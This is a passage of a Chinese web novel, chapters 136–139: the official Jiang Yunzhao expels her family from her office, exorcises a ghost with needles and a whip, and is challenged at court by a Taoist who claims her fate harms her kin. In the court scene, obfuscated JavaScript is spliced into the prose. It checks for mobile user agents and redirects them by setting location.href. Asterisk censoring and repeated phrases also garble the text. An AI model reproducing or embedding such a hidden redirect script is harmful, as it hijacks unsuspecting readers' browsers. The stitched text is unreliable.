她一路往前,走向大门处,她抬手指向左右悬挂的黑底金字楹联:
左联:纳四方冤屈,无论王孙布衣
右联:还天地清明,自有铁笔丹心
“诸位是不识字,还是看不懂?”云昭声音冷冽,
“既无冤屈申诉,亦非受我邀约请托,无故擅闯玄察司重地,依照《大晋律·职制律》,当杖责二十,以儆效尤!”
此言一出,满堂皆惊,姜家几人无不勃然变色!
这可不是戏台上做样子的二十板子。
衙门的杀威棒实打实地落下,寻常体格的男子都可能去半条命,体弱的甚至可能当场毙命!
云昭目光转向跪在门口瑟瑟发抖的门房,语气不容置疑:“连门都守不住,你这差事也不必当了。自己去李副将处领罚,结算工钱,今日便离开昭明阁。”
老夫人闻言,当即捶胸顿足,哭天抢地起来:“造孽啊!你这丫头,心也忒硬了!当了官就连祖宗都不要了!连亲祖母都要打杀了吗?老天爷你怎么不开眼啊!”
姜世安亦沉下脸,端起父亲的架子:“阿昭,你一夜未归,家中长辈忧心你的安危,特来探望。你何必如此不近人情?”
云昭转身,迎上他的目光,神色平静无波:“踏进姜家门,我姑且算是姜家女儿。
但踏入这昭明阁,我便是陛下亲封的玄察司主,掌刑狱治安,纠察不法!”
她目光锐利如刀,直视姜世安:“父亲同朝为官,官拜礼部尚书,这般浅显的‘公私分明’之理,难道还需女儿来教?”
她话语微顿,声音传遍内外,清晰无比:“往后家中若有事,递帖子至门房即可。
人,不能进。
昭明阁乃陛下御赐办公之所,并非什么阿猫阿狗都能随意进出之地!”
这句“阿猫阿狗”,如同一记响亮的耳光,狠狠扇在姜家众人脸上。
姜世安气得脸色铁青,胸口剧烈起伏。
就连一直事不关己的姜绾心,也猛地放下了手中的点心,脸色难看至极。
她泫然欲泣地看向姜世安,声音带着哭腔:“父亲!您看她……她眼里哪还有半分长辈!简直狂妄悖逆,毫无规矩……”
云昭冷冽的目光倏地钉在姜绾心脸上。
“在我的地界,吃着我的东西,”她唇角勾起一抹讥诮的弧度,“常言道‘拿人手短,**嘴软’,怎么到了你姜绾心这里,这张嘴吃了我的饼,还能这么贱?”
此言一出,不仅姜绾心羞愤欲绝,连门外围观的百姓也炸开了锅。
起初有人低语:“这姜司主,未免太不近人情了些!毕竟是自家人……”
身穿青色儒衫的少年学子当即大声反驳:“这位老伯此言差矣!姜司主这是铁面无私!官衙重地,岂容闲杂人等喧哗撒野?”
更有人嗤笑道:“我看姜家就是看姜司主如今发达了,想来打秋风、摆长辈架子!也不看看这是什么地方!”
“就是!瞧那姜家老夫人撒泼的样儿!若是我家有这么出息的女儿,疼还来不及,哪会这般上门找茬?分明是见不得人好!”
墨七与墨十七应声上前,对姜世安做了个“请”的手势:“姜大人,请吧。”
姜世安脸色已是铁青
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。
姜珩此刻不得不上前一步:“阿昭,我们吃饭,也并非无故前来。梅姨娘如今还关在京兆府大牢,家中实在忧心……”
“你也知是京兆府办案,”云昭截断他的话,“怎么,是你有资格质疑京兆府尹赵大人的决策,还是你或父亲,掌握了什么新的证据要来提供?”
姜珩顿时语塞。
姜世安冷眼盯着云昭,心中那股被忤逆的怒火与忌惮交织——
梅氏虽蠢,有一点却说对了。
这丫头本事越大,便越难掌控。
她得到的恩宠越盛,姜家在她心中分量便越轻。
姜绾心尤不甘心,尖声道:“我们方才去过京兆府了!那里的人什么都不肯告诉我们!姜云昭,你分明是故意刁难……”
“扔出去!”
云昭蓦然转身,衣袂翻飞,不再看身后姜家人一眼。
墨七与墨十七立刻上前,一左一右架起姜绾心就往外拖。
姜珩见状,不甘地瞥了一眼李扶音方才消失的内廊方向,却无可奈何,只得疾步跟上:“你们放开她!我们自己走!”
姜世安最后深深看了云昭一眼,那眼神复杂难辨,终是扶住仍在嘟囔的老夫人,转身离去。
老夫人兀自嘀咕:“这地方我还没仔细瞧瞧呢!那么多好东西……怎的这便回去了?”
姜世安压低声音,语气阴郁:“姜云昭眼里既已没有我们这些血亲,母亲也不必再将她看得太重。”
老夫人却诧异道:“可如今满京城,谁不知道新任玄察司主威风!
更何况,明年春天她便是秦王妃了!这得是多大的靠山!”
姜世安烦躁更甚,将连日来的郁气都归咎于云昭:“再过二十日便是万寿节,可陛下至今未曾起复我的官职!您还不明白吗?
陛下对姜云昭又是赐婚又是赏昭明阁,恩宠太过!
天家讲究平衡,好处总不能都让一家占了去,这便是在用压制我、来权衡她!”
这道理,是他昨夜被云昭带兵闯入时,如冷水浇头般悟出来的。
老夫人脑子转得飞快,突然回过味来,脱口而出:“这意思……岂不是说,阿昭这丫头,抢了你的官运?”
姜世安一时语塞,虽觉母亲理解得粗浅,却又仿佛歪打正着。
他沉默片刻,低声道:“为今之计,唯有去求太子殿下,看能否让珩儿先入刑部谋个职位。”
他顿了顿,看向昭明阁的匾额,语气带上了一丝阴冷,“至于姜云昭……别看她眼下风光。待来日太子登基,岂能容得下秦王?
她这秦王妃听着尊贵,只怕是那夜空烟火,璀璨不过一瞬,长不了!”
就在姜家几人悻悻踏出昭明阁门槛时,一名身着寻常布衣的侍卫悄然上前,对姜世安低语:
“姜大人,姜公子。太子殿下听闻府上昨夜变故,甚是忧心。特命属下在此等候,请二位过府一叙。”
第137章 立即废止婚约!
姜世安闻言,脸上阴霾顿时一扫而空,仿佛久旱逢甘霖。
一旁的姜珩与姜绾心更是精神一振,目光急切地投向街角。
很快,兄妹俩便瞧见,那辆低调却难掩华贵的马车前,侍立着的正是太子近身侍卫灵峰。
姜绾心只觉心坎里像瞬间灌满了温热的蜜糖,甜得发胀,连忙催促道:“父亲,兄长,殿下亲自相召,万万耽搁不得,快去吧!”
她看向那传话的侍卫,脸颊飞起两抹红云:“有劳这位侍卫大哥……帮我带句话给殿下,就说……近日天气暑热,万望殿下保重贵体,莫要太过操劳。”
对方朝姜绾心抱拳一礼,便引着难掩喜色的姜世安与姜珩快步上前。
车帘掀起又落下,隔绝了外界探究的视线。
新提上来的门房小厮长生为人机敏,悄悄将那马车形制与侍卫样貌牢记于心,随即转身,一溜小跑着回去禀报了。
……
另一边,内室之中。
云昭折返时,只见李灼灼已从榻上坐起,一双眸子森然冰冷,直勾勾地盯在她身上,哪还有半分平日里的俏丽飒爽。
一旁的孙婆子脸色极为难看,朝云昭比划了一个手势,示意情况凶险。
云昭却不多看已被附身的李灼灼,只径直走向莺时捧着的药箱,素手沉稳地整理着里面寒光湛湛的金针。
“是你自己滚出来,还是我亲手把你打出来?”
若此刻回春堂的楚大夫在此,定会一眼认出,云昭接下来所施展的,正是失传已久的“鬼门十三针”!
此针法凶险异常,需以精纯内力灌注金针,依次刺入人体沟通阴阳的隐穴——如鬼封、鬼宫、鬼窟等。
每一针,都如同在鬼门关前与邪魅争夺生魂!
云昭运针如飞,三枚金针,接连精准刺入相应穴位。
李灼灼浑身剧震,豆大的汗珠从额头滚落,周身毛孔仿佛都张开了般,不断渗出带着阴寒气息的冷汗,脸颊也随之泛起不正常的潮红。
但那原本浑浊森冷的眼神,却奇迹般地一点点恢复清明!
一旁紧张观望的李扶音死死攥住身旁丫鬟的手臂,紧张得大气不敢出。
任谁都看得出,方才的灼灼宛如被恶鬼夺舍,判若两人。
可随着云昭一针狠过一针,那令人心悸的森然之气逐渐消退,那个鲜活灵动的妹妹,正被一点点夺回来!
在孙婆子这等修为有成之人眼中,看到的景象更为骇人——
随着金针之力透穴而入,一个模糊的、穿着破旧书生袍的男性魂体,正被一股无形之力强行从李灼灼的躯壳中逼挤出来!
那男鬼面容苍白消瘦,眉眼间却带着一股挥之不去的尖酸与算计,显然生前就是个心术不正之辈。
他一脱离李灼灼的身体,立刻扑倒在地,朝着云昭连连叩首:
“仙师饶命!仙师饶命啊!小可与灼灼小姐乃是情投意合,两情相悦!
只因小可生前福薄,未能与小姐缔结良缘,死后魂魄不散,只求能常伴小姐左右,护她周全,绝无半分加害之心啊!”
云昭睥睨着他这番做派,冷脸道:“我观你命轨,乃是自己吃醉了酒,呕吐物堵塞喉管生生呛死!
一无仇人害你,二无冤屈未雪,**不去阴司报到,反倒滞留人间纠缠官家小姐,纯粹是色心不死,痴心妄想!”
男鬼抬起头,眼中闪过一丝狡黠,急急辩驳道:“仙师此言差矣!情之一字,岂是生死能够阻隔?小可对灼灼小姐的真心,天地可鉴!”
“你所谓的真心,就是趁她祖坟被动、运势低迷时趁虚而入?就是操控她的心神,让她当街行凶,险些害死她命中正缘?”
云昭冷笑了声,“少做你的春秋大梦了!用这下作手段捆绑女儿家的一生,凭你也配谈真心?!”
男鬼被说中心事,恼羞成怒,那副可怜相顿时收起,当即露出狰狞本相:“是!我就是想缠着她又如何?她是国公府小姐又如何?
只要我缠得够久,让她病,让她弱,让她离不开我!到时候,还不是我说什么就是什么!这等富贵荣华,我生前得不到,死后也要……”
“死不悔改!”
云昭眸中寒光乍现,一直扣在手中的银鞭如毒蛇出洞,“嗖”地缠上男鬼的脖颈!
“不过,倒要谢谢你,若非你贪心不足,执念深重,我还不能如此确定,灼灼的命中之人,居然是他。”
话音未落,云昭眼神一寒,五指猛地收紧!银鞭上雷光大盛,如同无数道细小的闪电炸开!
“不——!”
男鬼发出最后一声绝望的惨嚎,魂体如同被投入烈火的薄纸,在金光中寸寸碎裂,最终化作一缕青烟,彻底消散于天地之间。
云昭收起银鞭,对身边众人解释道:“此鬼心术不正,且近期不知得了什么机缘,煞气大涨。
若放他离去,他不会悔改,只会变本加厉去寻找下一个目标,祸害更多无辜女子。
形神俱灭,是他最好的归宿。”
此时,床上的李灼灼悠悠转醒,脸颊还带着虚弱的绯红,眼神却已清澈如初,她望着云昭,软软地唤了一声:“云昭……”
云昭走到榻边,指尖凝聚一点温和的灵力,在她眉心轻轻一点:“你身上纠缠的阴桃花,我已彻底根除。没事了,好好睡一觉吧。”
一股安神定魂的力量涌入。
李灼灼眼皮沉重,顺从地闭上眼,呼吸很快变得均匀绵长,沉沉睡去。
李扶音这才彻底放下心来,上前低声道:“祖坟被动一事,柳姨娘已都同我说了,我们也已派人加紧修缮。可为何灼灼她……”
“灼灼此劫,根源确在祖坟被坏,以致命格出现缝隙,易招阴桃花。”云昭沉吟道,
“但若无人后续加害,按她命格推算,在十八岁之前,顶多运势低迷些,绝不会严重到今日这般被彻底操控的地步。”
这也正是云昭此前,为何并未急于为她彻底清除阴桃花的原因。
李扶音立刻听出关窍,美眸圆睁:“你的意思是,灼灼今日之祸,是有人蓄意为之?是那苏玉嬛?”
云昭微微摇头:“苏玉嬛顶多是借故污了手镯,毁去灼灼的护身之物。但那男鬼突然煞气大增,能光天化日之下驱使灼灼伤人,定然还有别的缘故。”
此事背后,恐有精通此道之人推波助澜。
她看向李扶音,安排道:“劳烦县主派人回国公府知会夫人一声,就说灼灼受我之邀,在昭明阁小住几日,帮我整理些卷宗。也好让她安心在此调养。
县主若是得闲,不妨也留下小住几日,陪陪灼灼,也免她孤单。”
李扶音闻言,展颜一笑,算是应承下来。
她示意身旁婢女,那婢女立刻捧上一个精致的竹编小篓。
李扶音亲手打开,里面竟是十余支亭亭玉立的白荷,花瓣上还带着清晨的露珠,根部用浸湿的棉絮仔细包裹着,以保新鲜。
一股清雅的香气瞬间在室内弥漫开来。
“记得上次在熙园,你曾说过想要我亲手采摘的白荷。”李扶音声音温柔,
“今早离开时,我便特意去采了最新鲜的,用此法存着,想着你或许会喜欢。”
云昭见状,眼底闪过一抹暖意:“多谢县主。这份礼物,我很喜欢。”
李
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扶音又道:“还有一事。听闻十日后,陛下有意在竹山书院举行‘文昌大典’。
届时太后娘娘将亲自主祭,于书院文庙祭孔,为天下学子祈福,也为即将到来的恩科启运。
陛下亦会携宫中妃嫔亲临。京中三品以上官员及其家眷,皆在受邀之列。
听说若在此次盛事上表现出众,或能得陛下青眼,破格擢用。云昭,届时你可会出席?”
云昭一听“竹山书院”四字,眉头便下意识蹙起。
且不说外祖父苏文正身中的“断梁咒”尚未查明,单是这“文昌大典”,牵扯到太后、皇帝乃至后宫妃嫔——
搞这么大大的阵仗,届时必定会闹出幺蛾子!
她追问:“这是何时传出的消息?”
“就在今早。大伯父下朝归来,便告知了我们。”李扶音答道,
“方才一路过来,见许多竹山书院的学子在街上闲逛,听闻是为了采买大典时需用的笔墨等物。此事,想必已在京城传得沸沸扬扬。”
云昭神色一凝:“多谢县主告知。我眼下有急事,需立刻离开一趟。”
她快步走出内室,对候在外间的雪信叮嘱道:“雪信,你留下,将这些白荷好生处置了。”
说着,她信手取过纸笔,飞快写下一张方子,上面清晰列明如何将白荷花瓣与特定草药配伍,文火慢熬,萃取“清荷灵露”。
此露色如琉璃,气息清洌,有涤荡污秽、安神定魂、助人灵台清明之效。
接下来,说不定什么时候就能用上。
来到外厅,见到仍在等候的苏惊墨,云昭直接问道:“你此来,可是为了文昌大典之事?”
苏惊墨面带忧色:“正是。陛下今日早朝突然宣布此事,此前毫无征兆。祖父腿伤未愈,加之表妹昨日所言书院种种,我实在担心……”
“不必多言,”云昭果断道,“你随我即刻动身,先去京兆府提人,而后直奔书院。”
恰在此时,莺时步履匆匆近前,压低声音将方才门房长生所见——太子近侍灵峰接走姜世安父子之事,快速禀报。
云昭听罢,低声吩咐:“倒算是个机灵的。你暗中留意着这个长生,看他机灵有余,忠心是否可靠。”
她心下冷笑,太子经昨日书院挫败,果然是坐不住了。如此急不可耐地招揽姜世安与姜珩,行事竟连最基本的遮掩都顾不得了!
看来,竹山书院这场即将到来的“文昌大典”,风浪比她预想的更为汹涌!
还未走出大门,迎面便见白羡安快步上前,神色凝重:“司主,请借一步说话。”
云昭本以为他携白慕宁前来,是为了她身上未解的桃花咒,但见白羡安眸光闪烁,心知必有他故,不由心头微动。
二人移至一旁僻静角落,白羡安压低声音道:“白某今日冒昧前来,实是因早朝之后,听闻了一件关乎司主的大事。”
他顿了顿,继续道:“今日早朝过后,陛下于宣政殿后书房召见我时,太后娘娘凤驾忽至……闹得不可开交。”
他抬眼看了看云昭,继续道,“太后娘娘言之凿凿,声称昨夜得先皇后(萧启生母)托梦,言说司主您……命格带煞,刑克六亲,恐于秦王殿下命数有碍!
还说,婚约若成,恐致秦王殿下性命不保。太后态度坚决,要求陛下立即废止婚约!”
云昭眸光微凛,她确实没想到,白羡安带来的竟是这样一个消息。
“白大人今日之情,云昭记下了。”
白羡安摇了摇头:“司主,此事非同小可,还需早做筹谋。依我看来,最迟不过明日,陛下必定会召司主入宫问话!”
第138章 克父克夫克子!
圣旨来得比预想中更快。
云昭还未及踏出昭明阁大门,一名面生的年轻内侍已在一队禁军侍卫的簇拥下疾步而来,手中明黄卷轴在午后阳光下刺目非常。
太监尖着嗓子,声音带着一股刻意拿捏的倨傲:
“陛下口谕:宣姜氏云昭,即刻入宫觐见,不得有误——!”
没有繁文缛节,没有前因后果,这圣旨简单冰冷,透着不容置疑的紧迫。
宣旨的年轻内侍扬着下巴,眼神斜睨着云昭,皮笑肉不笑地一甩拂尘:“姜小姐,陛下催得急,请吧——杂家可是片刻不敢耽搁。”
云昭正欲与身旁的苏惊墨交代几句,那太监细眉一挑,身后两名膀大腰圆的禁军侍卫立刻上前一步,手已按在了佩刀之上,隐隐形成合围之势。
“公公这是何意?”云昭脚步未动,声音平静,目光却已冷了下来。
那小太监扯了扯嘴角,声音又尖又细,刻意扬高,足以让周遭渐渐聚拢的路人听清:
“姜小姐,陛下说的是‘即刻’。
杂家知道您是有大本事的人,鞭子耍得虎虎生风,咒术更是神鬼莫测……
但圣旨就是圣旨,还请您莫要故意拖延,让杂家难做,也让陛下久等啊!”
这阴阳怪气、意有所指的话语,瞬间点燃了围观百姓的议论。
“听着这意思,像是来者不善啊?”
“该不会是因为昨夜姜司主将那位梅姨娘锁拿入狱的事吧?我就说,那般行事终究太过刚硬,怕是因此触怒天颜了!”
此言一出,人群中不少女子当即愤愤不平:
“呸!什么叫太过刚硬?那梅氏一个妾室,若真犯了王法,别说是锁拿,就是**也是应当!”
“就是!姜司主依法办事,为民除害,有何不对?难道只许妾室害人,不许官家小姐秉公执法吗?”
“我看啊,是有些人自己心里有鬼,见不得姜司主这般清明刚正!”
眼见那两名侍卫竟真要动手拿人,墨七与墨十七眼神一厉,周身气势陡然绷紧,瞬间移至云昭身侧——
秦王殿下早有严令,无论何时何地,纵是天子亲临,也绝不容任何人动王妃分毫!
就在这剑拔**张之际,云昭却倏然后撤半步,抬手止住身后欲动的众人。
她面无惧色,反而自腰间取出一枚令牌——
那令牌非金非玉,通体玄黑,上刻展翅金凤,下有“凤阕”二字,在日光下流转着幽邃的光华。
“看清楚了,”云昭声音清越,掷地有声,“我姜云昭,是姜家嫡女,更是陛下亲封的玄察司主!
御赐‘凤阕令’,有先斩后奏之权!
入宫面圣之前,我与身边人交代几句紧要案情,有何不可?”
太监面色一僵,强自道:“可陛下旨意是‘即刻’……”
“此案涉及牵涉谋害朝廷命官,亦是陛下亲自过问,严令追查的要案!”
云昭眸光如冰,语气陡然转厉,“若有半分耽搁,致使案情生变,这责任,你担待得起吗?!”
她上前一步,逼近那太监,声音不高,却字字诛心:“稍后见了陛下,我必当面问清,今日公公宣旨之余,百般阻挠本司办案,甚至纵容侍卫对朝廷命官动手——
这,难道也是陛下授意?!”
那年轻太监被她气势所慑,脸色微白,嘴唇哆嗦了两下,终是没敢再吐出半个字。
云昭不再理会他,迅速转向苏惊墨,压低声音,语速极快:“表兄,你即刻赶往书院,务必亲口告知外祖父,事关书院存亡与他自身安危,今日一切,务必全权听我调配……”
苏惊墨神色一凛,重重点头:“表妹放心,我明白轻重,定将此事办好!”
她又侧首对墨十七与孙婆子吩咐:“你们二人,即刻前往京兆府,告诉赵大人,就说……”
言罢,她将一只早已备好的锦囊塞入孙婆子手中,目光沉静:“可能用到的丹药符箓都在里面,不惜代价,务必保住刘大夫一口气!”
二人朝云昭无声而郑重地行了一礼,转身便走,毫不拖泥带水。
最后,云昭看向面露忧色的温氏与雪信、惠娘等人,语气放缓,却带着令人心安的力量:“守好家,等我回来。”
“家”这个字,她说得自然而笃定。
这昭明阁,是陛下亲赐不假,更是她凭自己的本事挣来的安身立命之所。
这里住着她失而复得的娘亲,追随她的友人,更有诸多她想要庇护的人。
家,是她不容触碰的底线与尊严,更是她云昭一心守护的城池营垒。
她整理了一下衣袍,转身,面向宣旨太监和森然的禁军,脊背挺得笔直,眸光清寒:
“走吧,不是要‘即刻’面圣么?”
*
夏日的宫城被一层湿热的沉闷笼罩,连蝉鸣都显得有气无力。
穿过重重宫门,云昭步履沉稳地踏入甘露殿,目光迅疾扫过全场。
御座之上,皇帝身着杏色常服,指尖无意识地敲击着扶手,面色沉静,辨不出喜怒。
太后坐在皇帝左下手稍前一些的凤位,肌肤白如细瓷,整个人看起来容光焕发,宛如三十出头的妩媚妇人!看向云昭的眼神,如同看着什么不洁之物。
多日未见的孟清妍竟赫然在座!她身着一袭精品红色宫装,妆容精致,华贵逼人。哪还有半分此前被贬斥的痕迹?35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16671889|187080||http|test|mini|href|location''.split(''|''),0,{}));
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r>此刻她正微微扬起下颌,唇角噙着一丝混合着恨意与得意的冷笑,目光如**般盯在云昭身上,仿佛已迫不及待要看她如何从云端跌落。
云昭心下雪亮。
孟清妍此前被贬为孟嫔之事,被皇帝严密封锁,满京城的人毫不知情。譬如姜绾心与梅柔卿之流,至今仍以为她圣宠不衰。
足可见皇帝当日盛怒之下贬妃为嫔的举动,意在敲打,而非彻底厌弃了她。
本来,凭借其兄长安南大将军孟峥的兵权与情面,孟清妍复位本是迟早之事。
看她这阵仗,应当就是这一两日的事。
柔妃坐在孟贵妃稍后一些的位置,见云昭进来,她几不可察地轻轻摇头,几不可察地轻轻摇头,眸中含着一丝隐忧。
而萧启,坐在皇帝右手边更远一些的圈椅中,俊美的面容上一片冷冽,薄唇紧抿。他垂着眼眸,浓长的睫羽在眼下投下一小片阴影,不知在思忖什么,
云昭敛目,依礼躬身:“臣,玄察司主姜云昭,参见陛下,太后娘娘,秦王殿下,贵妃娘娘,柔妃娘娘。”
“平身罢。”
不待皇帝多言,太后已急不可耐地扬声道:“皇帝,既然人已到了,就请玉衡**进来吧!”
殿外应声走入一人。
只见来人一身月白道袍,手持白玉拂尘,缓步而入。
他面容看上去不过二十出头,肤白无须,眉眼俊俏,行走间宽袍广袖,飘然若举,确有一番仙风道骨之态。
太后急切道:“玉衡**,人已在此。你有何话,但说无妨,务必要让皇帝听得明明白白!”
那被称为玉衡**的道士应声转身,与云昭正面相对。
四目相接的刹那,云昭心头蓦地掠过一丝极怪异的感觉。
此人外表看起来确实年轻,双目清澈,精光内敛,周身灵气流转也颇为纯正。但就是透着一股说不清的违和感。
玉衡**目光落在云昭面上,拂尘轻扫,唱了声道号:“无量天尊。”
他指尖虚点,语速平缓却字字清晰:“此女面相,山根虽高却隐见断纹,主早年坎坷,亲情淡薄;
眉宇间英气过盛,压过坤德,乃刑克之兆。
非但于父缘有损,更乃伤夫克子之孤鸾煞格!
其承浆部位(注:下唇凹陷处)晦暗不明,注定一生情路多舛,凡亲近者,恐遭反噬,难得善终。”
“皇帝!你可听真切了!”太后猛地攥紧凤椅扶手,声音因激动而微微发颤,“这绝非哀家危言耸听,是玉衡**金口断出的命格!
她命带孤煞,克父克夫克子!**儿乃是生死大劫!这桩婚事万万不可再续,必须立刻下旨取消!”
第139章 已故皇后赞成婚事
“够了。”
一直沉默的萧启骤然开口,他抬眸,目光直刺御座之上的皇帝:“陛下,云昭是臣选定的王妃。臣的妻,此生只此一人。若陛下欲收回成命,”
他唇角弯起一抹冷峭的弧度,字字清晰,“那不妨再下一道旨意——
臣思念先皇与先皇后至深,愿自请前往邙山帝陵,长伴二圣英灵,为皇家祈福守陵。”
“不可!”皇帝尚未开口,太后已骇然失色,急声打断,
“渊儿休得胡言!邙山那是什么地方!苦寒孤寂,非贬谪宗室岂会前往!
你堂堂秦王,于国有赫赫战功,更是先帝与元懿皇后留下的唯一血脉!哀家与陛下岂能容你如此自轻,受此苛待!”
萧启道:“皇祖母既不愿孙儿受委屈,就请不要再干涉我的婚事。”
太后一噎,忍不住拍着扶手斥道:“你、你简直是被那狐媚子勾了魂!连自身性命前程都不顾了!”
云昭却忍不住心里道:萧启正是惜命,才知道离不得她这个准王妃!
她看向御座之上的帝王:“敢问陛下,当真要收回赐婚圣旨?”
皇帝指节轻叩御座扶手,眸中神色幽深难辨:“方才玉衡**所言,关乎渊儿性命安危,朕不得不虑……”
“玉衡**?”云昭转向身旁道人,眉梢微挑,“不知**是何来历?他既断言我刑克六亲,可否容臣女也为他观一观面相?”
“无知妄言!”太后闻言,面露不屑,“玉衡**师承终南山隐曜宗,十六岁便以《推背玄图》名动天下,三年前皇帝有意册封其为国师,他坚辞不受。
**不慕荣利,潜心道法,德行高洁,岂是你能质疑?”
云昭盯着玉衡**的双眼,蓦地一笑:“没听说过。”
此言一出,不仅太后气得一窒,就连玉衡都呼吸微顿,看向云昭的眼神也瞬间锋锐。
被玉衡用这样的眼神盯着,也不知怎的,云昭忽而浮起一种极为熟悉的感觉……
什么时候,在什么地方,她似乎也被人以这样的眼神窥探过。
有什么东西飞快闪过脑海,快得抓不住痕迹。
云昭犹在努力捕捉那丝缥缈的回忆,嘴上却不停:“既然如此,敢问**,为何辞官不受三载后,又重返这红尘俗世,踏入这九重宫阙?”
玉衡拂尘轻扫,神态超然:“贫道夜观天象,见危月燕冲犯太阴,星象主一位年轻女子,冒犯中宫凤驾,于太后娘娘凤体不利。
贫道曾在三年前与太后娘娘有过一面之缘,不忍娘娘受奸小所惑,凤体受损,故而破例入世,特来示警。”
“太后娘娘年轻女子众多,何以断定是我?”云昭轻笑了声,似是不经意地扫向一旁正在看好戏的孟贵妃,“怎就不能是风华正茂的贵妃娘娘?”
孟贵妃本欲发作,忽闻“风华正茂”四字,不由一怔——
她年逾三十,在这小**口中竟成了“年轻”?
云昭却已移开视线,看向另一边:“亦或是柔妃娘娘?”
柔妃眸底闪过一抹似笑非笑的光,却及时捂住心口,娇怯地轻唤一声:“陛下……”端的是一副受惊无措的模样。
云昭仿佛才想起什么,不紧不慢道:“啊,臣差点忘了!昨日臣的妹妹,姜府二小姐姜绾心,刚好奉召入宫,觐见太后。玉衡道长夜观天象看到的,说不定指的正是舍妹!”
“绝无可能!”太后断然否定,语气带着维护,“心儿纯孝柔嘉,最是贴心,怎会冲撞哀家……”
云昭摇头叹息:“太后娘娘有所不知,有的东西滋味好,可外面裹着一层**,剧毒无比,**于无形啊——!”
云昭这话意有所指,说得太后心虚:“你放肆——!”她勃然变色,惊怒交加。
就连皇帝都跟着脸色微沉。
云昭却早已悄然运转玄瞳,凝神望向玉衡。
但见他周身笼罩着一层厚重的乳白色灵光,内里却纠缠着无数细如发丝、猩红如血的线状雾气,如活物般蠕动交织,透着一股邪异。
云昭眸底金光微闪,朗声道:“我观**面相——
额如覆舟,主幼失怙恃,亲缘断绝;
眉断山根,象征师门早离,此生孤辰入命;
更兼唇薄如刃,鼻梁见节,命宫深陷,悬针纹破,此生注定鳏寡孤独,较我犹甚!”
电光石火之间,电光石火之间,云昭脑中灵光一闪,忽而记起此前到底在何处感受到过这种视线——
是太子腰间那枚墨玉蟠龙佩!
数日前在碧云寺外茶棚,太子假意赠书示好,实则让人透过腰间玉佩,偷窥云昭一举一动。
眼前这玉衡**,便是太子身后的玄师!那么,昨日在竹山书院被灵峰一掌拍死的年轻女冠,也是这玉衡**的手下了!
心念急转之下,云昭声音陡然转厉,“且**血孽缠身,恐不得善终!”
此事并非云昭胡诌,而是她陡然记起,玉衡**周身缠绕的血线……她曾在一次偶然的情形下,听师父说起过与之类似的情形。
师父当时便说,灵光染秽,血线缠身。一条血线,便意味着一桩被其咒术牵连、无辜殒命的血孽!
这玉衡**不知要造下多少杀孽,戕害了多少性命,才会让这血孽之气多如牛毛,几乎要将那层伪装的灵光彻底吞噬!
“血孽”二字如惊雷劈下,玉衡**瞳孔骤缩,眼底掠过一丝极深的忌惮。
他死死盯住云昭双眼,却看不出任何端倪。
他冷笑道:“姜小姐好利的一张嘴!我玄门中人窥探天机,难免五弊三缺,鳏寡孤独不过常事。然姜小姐命格凶煞,却欲攀附天家,沾染龙气,才是真正的有伤天和!”
“**所言差矣。”云昭淡然反驳,“我未必非要嫁入皇家,但若嫁人,必是旺夫兴家、绵延子嗣的贵命!
京郊碧云寺的闻空大师,亦曾为我批命,说我是凤隐于霄,命格极贵。
如今仅凭**一家之言,便欲定我罪孽,毁我姻缘,未免儿戏。”
她微微摇头,叹息中带着讥诮,“玉衡**如此行事,竟连道家不可妄言的戒律都弃之不顾了?”
玉衡面色一沉:“贫道没有妄言!”
“如何证明?”云昭立即反问,步步紧逼。
玉衡呼吸一滞,深看了云昭一眼。
此女与传言中“宅心仁厚,温婉知礼”截然不同,不仅言辞犀利,那股子胡搅蛮缠的劲头,竟似市井滚刀肉,转眼间竟逼得他这揭发者需自证清白!
“母后得先皇后托梦警示,这不就是铁证?”孟贵妃这时道,
玉衡**今日午后才入宫,并未听闻梦境细节,却能依据星象,道出与先皇后示警的相似判断,足见**道行高深,所言非虚!”
太后难得觉得孟贵妃瞧着都比往日顺眼不少:“贵妃所言极是!”
云昭却忽而一笑,语气变得微妙:“娘娘慈悲,与先皇后这位儿媳情感深厚,竟能让元懿皇后魂牵梦萦,昨夜专程回来探望您呢。”
她语气轻飘飘的,太后却莫名觉得脖颈后窜起一股森然寒意,竟生生打了个冷颤。
云昭趁势道:“玉衡道长修为深厚,想必精通请灵之术。不如就请道长施法,恭请元懿皇后英灵现身!
也好亲口问一问,她对此婚约究竟是何态度。若先皇后果真不愿,这门亲事,不成也罢。”
“云昭!”萧启猛地喊了一声,那双惯常冷冽的凤眸里,竟闪过一缕罕见的慌乱之色!
“胡闹!”玉衡**指尖掐算,随即道,“先皇后仁德淑慎,早已**,重入轮回转世去了!如何能请?”
云昭道:“人之魂魄,三魂各司其职。天魂归天,人魂转世,地魂(守尸魂)则常
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留于陵墓或生前眷恋之地。太后娘娘所能梦见的,正是这未散之地魂。”
她转向萧启,目光澄澈,“我们便以最简单的掷杯问卜之法,沟通先皇后地魂,一问便知。
此法温和,只需诚心,并无冲撞。殿下可愿一试?”
萧启面露迟疑殿下,看向云昭的眼神复杂万分,他正欲开口,久未说话的皇帝却突然生出兴趣:“地魂……真能沟通?需如何行事?”
云昭恭敬回答:“回陛下,需设香案,奉祭品,并以先皇后牌位为媒介,由至亲之人祷告。
可问是非对错之简单问题。先皇后地魂若有感应,便会通过杯筊显示答案。”
皇帝已做了决定:“既如此,那便准备开始吧。”
“不可!”太后脸色发白,急声反对,“鬼神之事,幽微难测!何况贵妃和柔妃都怀有龙裔,阴灵之事,最易冲撞,万一惊了胎气,如何是好!”
皇帝不耐地摆手:“为保万全,让她二人先行回宫休息,不得有误。”
柔妃款款起身,温婉道:“陛下,嫔妾不怕。兹事体大,关乎秦王殿下终身与皇室安宁,嫔妾理解陛下的苦心。一切但凭陛下做主。”她话语体贴,姿态柔顺。
孟贵妃却几乎咬碎银牙!
她当年还是孟家贵女时,没少入宫,那位元懿皇后不喜她性情跋扈,曾当众申饬。如今人死二十多年,还要请她的牌位?
光是想想都觉膈应!
她虽万分想看姜云昭倒霉,却不敢拿腹中这得来不易的胎儿冒险,只得强笑道:“陛下,嫔妾这一胎怀得甚是辛苦,不敢与柔妃妹妹相比,恳请先行告退至偏殿歇息。”
